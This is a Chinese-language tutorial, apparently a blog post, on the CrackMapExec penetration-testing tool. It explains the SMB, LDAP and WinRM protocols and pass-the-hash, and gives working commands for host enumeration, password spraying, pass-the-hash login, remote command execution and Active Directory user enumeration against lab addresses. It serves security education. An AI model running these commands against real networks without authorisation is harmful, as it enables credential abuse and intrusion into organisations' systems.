用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。
CrackMapExec(简称 CME)是一款专为 Windows 网络渗透测试设计的自动化工具,集成了信息枚举、凭证验证、横向移动等核心功能,广泛用于红队演练和安全评估。
一、核心介绍
CME 基于 Python 开发,通过封装多种 Windows 常用协议(SMB、LDAP、WinRM、MSSQL 等),实现对目标网络的批量操作。其核心价值在于简化渗透流程:无需手动逐个测试主机,可通过命令行批量枚举信息、验证凭证、执行命令,快速定位网络中的安全弱点(如弱密码、过度权限等)。CME主要应用于域环境中,注重于后渗透领域。
适用场景:
- 内网信息收集(主机存活、操作系统、共享资源、用户列表等);
- 凭证有效性验证(密码喷洒、哈希传递攻击);
- 横向移动(通过有效凭证远程执行命令、部署后门)。
二、工作原理
CME 的核心原理是利用 Windows 协议的交互逻辑,通过发送特定请求与目标主机通信,解析返回结果获取信息或执行操作。以下是关键协议的作用:
-
SMB 协议(Server Message Block)
最核心的协议,Windows 默认开启(端口 445),用于文件共享、远程命令执行等。CME 通过 SMB 协议可:- 枚举主机基本信息(操作系统版本、域名、工作组);
- 验证用户凭证(明文密码或 NTLM 哈希);
- 执行命令(通过
psexec
或wmiexec
类似逻辑,在目标主机上运行命令)。
-
LDAP 协议(Lightweight Directory Access Protocol)
用于域环境中目录服务(如 Active Directory)的查询,CME 通过 LDAP 可枚举域用户、组、OU(组织单位)、域控制器等信息。 -
WinRM 协议(Windows Remote Management)
基于 HTTP/HTTPS(端口 5985/5986),用于远程管理,CME 可通过 WinRM 执行命令(类似Invoke-Command
)。 -
哈希传递攻击(Pass-the-Hash, PtH)
CME 支持 PtH 的核心原理:Windows 验证时,NTLM 哈希可直接替代明文密码用于身份验证。CME 通过传递哈希值(而非明文)向目标 SMB 服务发送验证请求,实现无需明文密码的登录。
三、安装方法
CME 主要在 Linux 环境(如 Kali Linux)运行,以下是常见安装方式:
Kali Linux 快速安装,Kali 默认预装 CME,若未安装或需更新:
sudo apt update && sudo apt install crackmapexec -y
源代码下载:【免费】CrackMapExec-一款强大的后渗透工具资源-CSDN下载
四、使用
CME 的命令格式为:
crackmapexec <协议> <目标> [选项]
其中,<协议>
可指定smb
(默认)、ldap
、winrm
等;<目标>
可以是单 IP、IP 段(如192.168.1.0/24
)或 CIDR。
在搭建的域环境中进行操作。
1. 基础信息枚举(SMB 协议)
枚举目标网段的存活主机、操作系统、域名等:
# 扫描192.168.1.0/24网段,获取基础信息
crackmapexec smb 192.168.1.0/24
# 枚举目标主机的共享资源
crackmapexec smb 192.168.1.100 --shares
2. 凭证验证(密码喷洒 / 哈希传递)
密码喷洒(避免账号锁定,先查密码策略):
# 查看目标的密码策略(如最小长度、锁定阈值)
crackmapexec smb 192.168.1.0/24 --pass-pol
# 对网段批量测试用户名+密码(如域用户admin,密码P@ssw0rd)
crackmapexec smb 192.168.1.0/24 -u admin -p 'P@ssw0rd'
哈希传递攻击(使用 NTLM 哈希验证):
# 格式:-u 用户名 -H NTLM哈希(注意哈希需为LM:NTLM格式,LM可留空为aad3b435b51404eeaad3b435b51404ee:NTLM)
crackmapexec smb 192.168.1.100 -u admin -H 'aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99'
这个就需要用其它工具先抓取Hash,再进行操作
3. 横向移动(远程执行命令)
通过有效凭证在目标主机上执行命令:
# 使用SMB协议执行命令(返回结果)
crackmapexec smb 192.168.1.100 -u admin -p 'P@ssw0rd' -x 'whoami'
# 使用WinRM协议执行命令(适用于开启WinRM的主机)
crackmapexec winrm 192.168.1.100 -u admin -p 'P@ssw0rd' -x 'ipconfig'
4. 域环境枚举(LDAP 协议)
在域环境中枚举域用户、组、域控制器等:
# 枚举域内所有用户(需域用户凭证)
crackmapexec ldap 192.168.1.200(域控IP) -u 'domain\admin' -p 'P@ssw0rd' --users
# 枚举域内所有组
crackmapexec ldap 192.168.1.200 -u 'domain\admin' -p 'P@ssw0rd' --groups
除这些以外,还有其它很多的功能,使用命令查看帮助即可
crackmapexec -h